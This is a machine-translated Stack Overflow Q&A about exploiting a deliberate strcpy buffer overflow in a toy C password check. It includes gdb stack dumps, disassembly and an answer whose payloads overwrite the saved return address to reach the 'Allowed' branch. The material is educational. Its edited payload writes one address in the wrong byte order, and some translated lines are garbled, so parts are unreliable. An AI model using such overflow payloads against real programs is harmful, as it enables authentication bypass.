我正在尝试使用缓冲区溢出来更改函数的结果,以通过以下代码更改堆栈上的结果:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>


int check_auth1(char *password)
{
    char password_buffer[8];
    int auth_flag = 0;
    strcpy(password_buffer, password);
    if (strcmp(password_buffer, "cup") == 0) {
        auth_flag = 1;
    }
    return auth_flag;
}
int main(int argc, char **argv)
{
    if (argc < 2) {
        printf("Usage: %s <password>\n", argv[0]);
        exit(0);
    }
    int authenticated = check_auth1(argv[1]);
    if (authenticated != 1) {
        printf("NOT Allowed.\n");
    } else {
        printf("Allowed.\n");
    }
    return 0;
}

我正在使用gdb分析堆栈,这就是我所拥有的:
0xbffff6d0: 0xbffff8e4  0x0000002f  0xbffff72c  0xb7fd0ff4
0xbffff6e0: 0x08048540  0x08049ff4  0x00000002  0x0804833d
0xbffff6f0: 0x00000000  0x00000000  0xbffff728  0x0804850f
0xbffff700: 0xbffff901  0xb7e5e196  0xb7fd0ff4  0xb7e5e225
0xbffff710: 0xb7fed280  0x00000000  0x08048549  0xb7fd0ff4
0xbffff720: 0x08048540  0x00000000  0x00000000  0xb7e444d3
0xbffff730: 0x00000002  0xbffff7c4  0xbffff7d0  0xb7fdc858
0xbffff740: 0x00000000  0xbffff71c  0xbffff7d0  0x00000000


    [1] $ebp                0xbffff6f8
    [2] $esp                0xbffff6d0
    [3] password            0xbffff700
    [4] auth_flag           0xbffff6ec
    [5] password_buffer     0xbffff6e4


   0x080484ce <+0>: push   %ebp
   0x080484cf <+1>: mov    %esp,%ebp
   0x080484d1 <+3>: and    $0xfffffff0,%esp
   0x080484d4 <+6>: sub    $0x20,%esp
   0x080484d7 <+9>: cmpl   $0x1,0x8(%ebp)
   0x080484db <+13>:    jg     0x80484ff <main+49>
   0x080484dd <+15>:    mov    0xc(%ebp),%eax
   0x080484e0 <+18>:    mov    (%eax),%edx
   0x080484e2 <+20>:    mov    $0x8048614,%eax
   0x080484e7 <+25>:    mov    %edx,0x4(%esp)
   0x080484eb <+29>:    mov    %eax,(%esp)
   0x080484ee <+32>:    call   0x8048360 <printf@plt>
   0x080484f3 <+37>:    movl   $0x0,(%esp)
   0x080484fa <+44>:    call   0x80483a0 <exit@plt>
   0x080484ff <+49>:    mov    0xc(%ebp),%eax
   0x08048502 <+52>:    add    $0x4,%eax
   0x08048505 <+55>:    mov    (%eax),%eax
   0x08048507 <+57>:    mov    %eax,(%esp)
   ----------
   IMPORTANT STUFF STARTS NOW
   0x0804850a <+60>:    call   0x8048474 <check_auth1>
   0x0804850f <+65>:    mov    %eax,0x1c(%esp)
   0x08048513 <+69>:    cmpl   $0x1,0x1c(%esp)
   0x08048518 <+74>:    je     0x8048528 <main+90>

我确定$ ebp与&password_buffer的距离为0xbffff6f8-0xbffff6e4 = 14个字节

因此,在输入了14个“A”(即./stackoverflowtest $(perl -e 'print "A" x 14'))后,我应该进入“允许”状态。

我要去哪里错了?引起溢出所需的输入是什么?

ASLR和gcc金丝雀已关闭。

check_auth1程序集转储:
Dump of assembler code for function check_auth1:
   0x08048474 <+0>: push   %ebp
   0x08048475 <+1>: mov    %esp,%ebp
   0x08048477 <+3>: push   %edi
   0x08048478 <+4>: push   %esi
   0x08048479 <+5>: sub    $0x20,%esp
=> 0x0804847c <+8>: movl   $0x0,-0xc(%ebp)
   0x08048483 <+15>:    mov    0x8(%ebp),%eax
   0x08048486 <+18>:    mov    %eax,0x4(%esp)
   0x0804848a <+22>:    lea    -0x14(%ebp),%eax
   0x0804848d <+25>:    mov    %eax,(%esp)
   0x08048490 <+28>:    call   0x8048370 <strcpy@plt>
   0x08048495 <+33>:    lea    -0x14(%ebp),%eax
   0x08048498 <+36>:    mov    %eax,%edx
   0x0804849a <+38>:    mov    $0x8048610,%eax
   0x0804849f <+43>:    mov    $0x4,%ecx
   0x080484a4 <+48>:    mov    %edx,%esi
   0x080484a6 <+50>:    mov    %eax,%edi
   0x080484a8 <+52>:    repz cmpsb %es:(%edi),%ds:(%esi)
   0x080484aa <+54>:    seta   %dl
   0x080484ad <+57>:    setb   %al
   0x080484b0 <+60>:    mov    %edx,%ecx
   0x080484b2 <+62>:    sub    %al,%cl
   0x080484b4 <+64>:    mov    %ecx,%eax
   0x080484b6 <+66>:    movsbl %al,%eax
   0x080484b9 <+69>:    test   %eax,%eax
   0x080484bb <+71>:    jne    0x80484c4 <check_auth1+80>
   0x080484bd <+73>:    movl   $0x1,-0xc(%ebp)
   0x080484c4 <+80>:    mov    -0xc(%ebp),%eax
   0x080484c7 <+83>:    add    $0x20,%esp
   0x080484ca <+86>:    pop    %esi
   0x080484cb <+87>:    pop    %edi
   0x080484cc <+88>:    pop    %ebp
   0x080484cd <+89>:    ret

最佳答案

这是很容易利用的,这是逐步解决的方法。

首先使用-g对其进行编译,这样可以更轻松地了解您的操作。然后,我们的目标是重写保存的eipcheck_auth1(),并将其移至main()函数中的测试的else部分。

$> gcc -m32 -g -o vuln vuln.c
$> gdb ./vuln
...
(gdb) break check_auth1
Breakpoint 1 at 0x80484c3: file vulne.c, line 9.
(gdb) run `python -c 'print("A"*28)'`
Starting program: ./vulne `python -c 'print("A"*28)'`
Breakpoint 1,check_auth1 (password=0xffffd55d 'A' <repeats 28 times>) at vuln.c:9
9       int auth_flag = 0;
(gdb) info frame
Stack level 0, frame at 0xffffd2f0:
 eip = 0x80484c3 in check_auth1 (vuln.c:9); saved eip 0x804853f
 called by frame at 0xffffd320
 source language c.
 Arglist at 0xffffd2e8, args: password=0xffffd55d 'A' <repeats 28 times>
 Locals at 0xffffd2e8, Previous frame's sp is 0xffffd2f0
 Saved registers:
   ebp at 0xffffd2e8, eip at 0xffffd2ec

我们在check_auth1()停下来,显示了堆栈框架。我们看到,保存的eip存储在0xffffd2ec的堆栈中,并包含0x804853f

让我们看看它会导致什么:
(gdb) disassemble main
Dump of assembler code for function main:
   0x080484ff <+0>:     push   %ebp
   0x08048500 <+1>:     mov    %esp,%ebp
   0x08048502 <+3>:     and    $0xfffffff0,%esp
   0x08048505 <+6>:     sub    $0x20,%esp
   0x08048508 <+9>:     cmpl   $0x1,0x8(%ebp)
   0x0804850c <+13>:    jg     0x804852f <main+48>
   0x0804850e <+15>:    mov    0xc(%ebp),%eax
   0x08048511 <+18>:    mov    (%eax),%eax
   0x08048513 <+20>:    mov    %eax,0x4(%esp)
   0x08048517 <+24>:    movl   $0x8048604,(%esp)
   0x0804851e <+31>:    call   0x8048360 <printf@plt>
   0x08048523 <+36>:    movl   $0x0,(%esp)
   0x0804852a <+43>:    call   0x80483a0 <exit@plt>
   0x0804852f <+48>:    mov    0xc(%ebp),%eax
   0x08048532 <+51>:    add    $0x4,%eax
   0x08048535 <+54>:    mov    (%eax),%eax
   0x08048537 <+56>:    mov    %eax,(%esp)
   0x0804853a <+59>:    call   0x80484bd <check_auth1>
   0x0804853f <+64>:    mov    %eax,0x1c(%esp)   <-- We jump here when returning
   0x08048543 <+68>:    cmpl   $0x1,0x1c(%esp)
   0x08048548 <+73>:    je     0x8048558 <main+89>
   0x0804854a <+75>:    movl   $0x804861a,(%esp)
   0x08048551 <+82>:    call   0x8048380 <puts@plt>
   0x08048556 <+87>:    jmp    0x8048564 <main+101>
   0x08048558 <+89>:    movl   $0x8048627,(%esp) <-- We want to jump here
   0x0804855f <+96>:    call   0x8048380 <puts@plt>
   0x08048564 <+101>:   mov    $0x0,%eax
   0x08048569 <+106>:   leave
   0x0804856a <+107>:   ret
End of assembler dump.

但事实是,我们要避免遍历cmpl $0x1,0x1c(%esp)并直接进入测试的其他部分。这意味着我们要跳转到0x08048558

无论如何,让我们首先尝试看看我们的28个A是否足以重写保存的eip
(gdb) next
10      strcpy(password_buffer, password);
(gdb) next
11      if (strcmp(password_buffer, "cup") == 0) {

在这里,strcpy发生了溢出,因此让我们看一下堆栈帧:
(gdb) info frame
Stack level 0, frame at 0xffffd2f0:
 eip = 0x80484dc in check_auth1 (vulnerable.c:11); saved eip 0x41414141
 called by frame at 0xffffd2f4
 source language c.
 Arglist at 0xffffd2e8, args: password=0xffffd55d 'A' <repeats 28 times>
 Locals at 0xffffd2e8, Previous frame's sp is 0xffffd2f0
 Saved registers:
  ebp at 0xffffd2e8, eip at 0xffffd2ec

实际上,我们用'A'重写了保存的eip(0x41A的十六进制代码)。而且,实际上,正是我们需要的是28,而不是更多。如果我们用目标地址替换最后四个字节,那就可以了。

一件事是,您需要对字节重新排序以考虑小字节序。因此,0x08048558将成为\x58\x85\x04\x08

最后,您还需要为保存的ebp值(而不是AAAA)写一些有意义的地址,所以我的诀窍就是像这样将最后一个地址加倍:
$> ./vuln `python -c 'print("A"*20 + "\x58\x85\x04\x08\x58\x85\x04\x08")'`

请注意,无需禁用ASLR,因为您正在.text部分中跳转(该部分不会在ASLR下移动)。但是,您绝对需要禁用金丝雀。

编辑:我用保存的ebp替换保存的eip是错误的。实际上,如果您未提供正确的ebp,则在尝试从main退出时会遇到段错误。这是因为我们确实将保存的ebp设置为.text部分中的某个位置,并且即使从check_auth1返回时没有问题,返回main函数时,堆栈帧也将被不正确地还原(系统会认为堆栈是位于代码中)。结果将是,我们写入的已保存ebp(指向指令)指向的地址上方的4个字节将与eip的已保存main错误。因此,您可以禁用ASLR并写入已保存的ebp(0xffffd330)的正确地址,这将导致
 $> ./vuln `python -c 'print("A"*20 + "\xff\xff\xd3\x30\x58\x85\x04\x08")'`

或者,您需要执行将执行干净的exit(0)的ROP(通常很容易实现)。

关于c - 尝试缓冲区溢出,我们在Stack Overflow上找到一个类似的问题:https://stackoverflow.com/questions/20131378/

10-12 16:04